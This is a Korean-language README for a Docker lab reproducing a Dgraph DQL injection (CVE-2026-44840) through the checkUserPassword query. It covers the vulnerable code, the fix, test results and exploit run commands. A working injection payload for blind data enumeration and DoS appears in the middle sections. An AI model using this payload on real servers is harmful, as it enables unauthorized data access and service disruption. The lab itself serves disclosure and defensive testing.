
Dgraph의 checkUserPassword GraphQL 쿼리에서 발생하는 DQL 인젝션인 CVE-2026-44840을 재현하는 Docker 랩으로, 익스플로잇 스크립트와 취약 버전 대 패치 버전 비교를 포함합니다.
checkUserPassword를 통한 Dgraph DQL 인젝션 (GraphQL)Dgraph에서 실제 인젝션을 재현하는 Docker 랩:
dgraph/dgraph:v25.3.3dgraph/dgraph:v25.3.42026년 실제 CVE · CVSS 3.1 7.5 (High) ·
CWE-943(Improper Neutralization in Data Query Logic) · Kai Aizen에게 귀속됨 (GHSA-q2m9-6jp9-c6mc,GO-2026-5837). 격리되고 승인된 랩 환경에서만 사용하세요.
checkUserPassword는 @secret(field: "password") 지시어가 있는 타입에 대해 Dgraph가 자동으로 생성하는 GraphQL 쿼리입니다. (≤ v25.3.3)에서 password는 로 연결되었습니다:
graphql/resolve/query_rewriter.gofmt.SprintfpwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password) // VULNERABLE
공격자의 password는 DQL에 그대로 삽입됩니다:
pwd as checkpwd(User.password, "<password del atacante>")
수정 사항(v25.3.4, 커밋 cee702c)은 값을 파라미터화합니다:
pwdVar = "$pwd0" // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}
두 개의 클러스터 Dgraph(zero+alpha)를 띄웁니다: v25.3.3 및 v25.3.4.
type User @secret(field: "password") 스키마를 업로드하고 admin, alice, bob을 생성합니다.
checkUserPassword에 DQL 리터럴을 탈출하고 임의의 쿼리 블록을 추가하는 password를 전송합니다:
x")
}
injected(func: has(User.name)) {
User.name
User.email
uid
}
#
v25.3.3에서는 injected { ... } 블록이 파싱되어 서버 측에서 실행됩니다.
| 테스트 | v25.3.3 (취약) | v25.3.4 (패치됨) |
|---|---|---|
| 올바른 password로 로그인 | OK (touched_uids 7) | OK (touched_uids 7) |
| 잘못된 password로 로그인 | null (5) | null (5) |
인젝션된 password )} injected{...} # | 실행됨: touched_uids 14 | 무력화됨: 5 |
오라클: eq(User.name,"bob") 인젝션 | touched_uids 7 (존재) | 5 |
오라클: eq(User.name,"nobody") 인젝션 | 5 (존재하지 않음) | 5 |
dgraph alpha 로그 | injected 블록이 포함된 DQL 표시 | 파라미터화된 DQL, 블록 없음 |
CVE의 영향: 서버 측 임의 DQL 실행 → 데이터 블라인드 열거(touched_uids/타이밍 기반), 스키마 발견(has(), eq()) 및 비용이 큰 순회(expand(_all_), 재귀)를 인젝션하여 리소스 소비로 인한 DoS.
# 1) levantar todo, preparar esquema/usuarios y ejecutar el exploit
bash run.sh
# 2) solo el exploit (si el lab ya esta preparado)
python3 exploit/exploit.py
# 3) montar el entorno desde cero (pod / volcado)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280
# 4) limpiar
docker compose down # conserva los volumenes
docker compose down -v # borra los volumenes (datos de dgraph)
| 서비스 | HTTP GraphQL | HTTP admin | gRPC alpha |
|---|---|---|---|
| alpha v25.3.3 | http://localhost:8180/graphql | http://localhost:8180/admin | 9180 |
| alpha v25.3.4 | http://localhost:8280/graphql | http://localhost:8280/admin | 9280 |
CVE-2026-44840-poc/
├── docker-compose.yml # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql # type User @secret(field:"password")
├── run.sh # orquestador completo
├── REDTEAM.md # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py # esquema + usuarios
└── exploit/exploit.py # inyeccion DQL e oraculo
공격적 운영 가이드(정찰, 단계별 익스플로잇, 페이로드, 증거 및 OPSEC): REDTEAM.md.
password는 GraphQL 변수로 전달되며, rewriter에 도달하는 값은 이스케이프되지 않고 checkpwd(User.password, "...") 내부에 삽입됩니다. 페이로드:
x") # cierra el literal de checkpwd y la funcion
} # cierra el bloque checkPwd
injected(...) # nuevo bloque root del atacante
{ ... }
# # comenta el resto del template: ")
#는 템플릿의 접미사(checkpwd의 닫는 ")가 파싱을 깨뜨리는 것을 방지합니다.
dgraph v25.3.4+로 업데이트하세요.dgoapi.Request의 vars), fmt.Sprintf로 입력을 절대 보간하지 마세요.